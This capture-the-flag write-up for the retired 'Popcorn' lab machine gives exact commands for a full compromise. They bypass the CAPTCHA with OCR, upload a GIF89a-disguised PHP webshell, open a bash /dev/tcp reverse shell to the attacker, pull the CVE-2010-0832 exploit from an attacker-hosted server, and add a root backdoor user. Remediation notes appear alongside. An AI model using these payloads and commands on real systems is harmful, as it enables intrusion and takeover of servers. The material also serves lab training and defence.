Popcorn
Summary
I scanned the host, found only SSH (port 22, OpenSSH 5.1p1) and an Apache web server (port 80) running a PHP Torrent Hoster application. Registration was gated by an image CAPTCHA, which was bypassed automatically using OCR software.
Once authenticated, I uploaded a valid .torrent file to create a record, then abused a weakly validated 'screenshot' upload endpoint: prepending a GIF89a magic-byte header to a PHP webshell tricked the image check, and the server stored the file with a .php extension inside the web root — giving immediate remote code execution as the www-data service account. The user flag was read directly.
For root, I matched the running kernel (Ubuntu 9.10, 2.6.31-14-generic-pae) to a publicly known PAM MOTD race-condition exploit (CVE-2010-0832), staged it on the target, and triggered it to write a new UID-0 backdoor user into /etc/passwd. I then SSH'd in as that user — forcing legacy cryptographic negotiation required by the ancient SSH daemon — and captured the root flag, achieving complete system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for pwn1>"
export PASSWORD2="<the-password-you-recovered, for toor>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 2
Enumerate open ports and banner-grab service versions.
$ nmap -p22,80 -sV -Pn $TARGET
22/tcp open ssh OpenSSH 5.1p1
80/tcp open http Apache httpdConfirm the Torrent Hoster app loads; note /torrent/ path and PHP links.
$ curl --resolve popcorn.htb:80:$TARGET http://popcorn.htb/torrent/FixUpgrade end-of-life server software and harden the SSH cryptographic configurationHigh
Exact commands 4
Prime the session cookie jar.
$ tmp=$(mktemp -d) && curl --resolve popcorn.htb:80:$TARGET -c $tmp/cjar 'http://popcorn.htb/torrent/users/index.php?mode=register' >/dev/nullDownload the CAPTCHA image.
$ curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -o $tmp/captcha.png 'http://popcorn.htb/torrent/captcha.php'Extract the CAPTCHA text; result stored in $code.
$ code=$(tesseract $tmp/captcha.png stdout --psm 7 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 2>/dev/null | tr -d ' ')Submit the registration form using the OCR-solved CAPTCHA.
$ curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -L --data-urlencode 'username=pwn1' --data-urlencode "password=$PASSWORD" --data-urlencode 'email=pwn1@popcorn.htb' --data-urlencode "captcha=$code" 'http://popcorn.htb/torrent/users/index.php?mode=register'FixReplace the OCR-solvable CAPTCHA with a modern bot-resistant controlMedium
Exact commands 3
Upload any valid .torrent file; record the torrent hash from the redirect URL.
$ curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -c $tmp/cjar -F 'torrent=@sample.torrent;type=application/x-bittorrent' -F 'name=test' -F 'category=0' 'http://popcorn.htb/torrent/torrents.php?mode=upload'Create the webshell payload with the GIF89a magic prefix to pass the image-type check.
$ printf 'GIF89a\n<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' > cdx.phpSubmit the webshell as the screenshot; the server stores it as <hash>.php in /torrent/upload/.
$ curl --resolve popcorn.htb:80:$TARGET -b $tmp/cjar -F 'file=@cdx.php;type=image/gif' "http://popcorn.htb/torrent/upload_file.php?mode=upload&id=$HEX_ID"FixEnforce true server-side image validation and prevent execution of uploaded filesCritical
Exact commands 3
Verify RCE — expected: uid=33(www-data) and kernel version.
$ curl -sS --resolve popcorn.htb:80:$TARGET "http://popcorn.htb/torrent/upload/$HEX_ID.php?cmd=id%3Bwhoami%3Buname%20-a"Start a listener on my machine before triggering the callback.
$ nc -lvnp 4444Trigger the reverse shell; replace $ATTACKER_IP with my reachable address.
$ curl -sS --resolve popcorn.htb:80:$TARGET "http://popcorn.htb/torrent/upload/$HEX_ID.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$ATTACKER_IP%2F4444%200%3E%261%27"Exact commands 2
Locate and read all user.txt files; expected output: <user.txt>.
$ find /home -name user.txt -exec cat {} \; 2>/dev/nullDirect read once path is known — returns <user.txt>.
$ cat /home/george/user.txtExact commands 4
Run on my machine in the directory holding 14339.sh (download from Exploit-DB ID 14339).
$ python3 -m http.server 9001Fetch the exploit onto the target; replace $ATTACKER_IP.
$ cd /tmp && curl -fsS http://$ATTACKER_IP:9001/14339.sh -o 14339.sh && chmod +x 14339.shRun the exploit; HOME override gives www-data a writable directory the exploit needs.
$ HOME=/var/www bash /tmp/14339.shConfirm backdoor user was added — expected: toor:x:0:0:...
$ grep $PASSWORD2 /etc/passwdFixPatch CVE-2010-0832 and upgrade the end-of-life operating systemCritical
Exact commands 1
Log in as toor (UID 0); legacy kex/hostkey flags are required by OpenSSH 5.1p1. Expected: uid=0(root) and <root.txt>.
$ sshpass -p $PASSWORD2 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 -o HostKeyAlgorithms=ssh-rsa -o PubkeyAcceptedAlgorithms=ssh-rsa -o KexAlgorithms=diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 toor@$TARGET 'id; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.2.12 |